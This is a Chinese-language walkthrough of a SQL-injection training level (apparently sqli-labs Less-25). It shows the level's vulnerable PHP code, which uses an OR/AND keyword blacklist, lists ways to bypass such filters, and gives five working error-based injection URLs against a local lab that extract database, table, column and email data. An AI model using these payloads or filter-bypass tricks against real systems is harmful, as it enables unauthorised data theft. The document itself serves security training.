關鍵代碼
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print_r(mysql_error());
本關主要為or and過濾,如何繞過or和and過濾。一般性提供以下幾種思路:
-
大小寫變形 Or,OR,oR
-
編碼,hex,urlencode
-
添加注釋/*or*/
- 利用符號 and=&& or=||
- 雙寫or或and繞過
暫時只想到這些,還有的話可以補充。
本關方法(1)(2)(3)均無效,下面我們利用方法(4)和(5)進行。
報錯注入 示例
1、獲取當前數據庫
http://127.0.0.1/sql/Less-25/?id=1' || extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
這里使用||來繞過or過濾。

2、獲取所有數據庫
http://127.0.0.1/sql/Less-25/index.php?id=1' || extractvalue(1,concat(0x7e,(select group_concat(schema_name) from infoorrmation_schema.schemata),0x7e))--+
這里將information_schema改為infoorrmation_schema來繞過or過濾。

3、查看security庫數據表
http://127.0.0.1/sql/Less-25/index.php?id=1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),0x7e))--+

4、查看emails表的所有列
http://127.0.0.1/sql/Less-25/index.php?id=1' || extractvalue(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' aandnd table_name='emails'),0x7e))--+
這里使用aandnd來繞過and過濾。

5、獲取內容
http://127.0.0.1/sql/Less-25/index.php?id=1' || extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,email_id) from emails),0x7e))--+

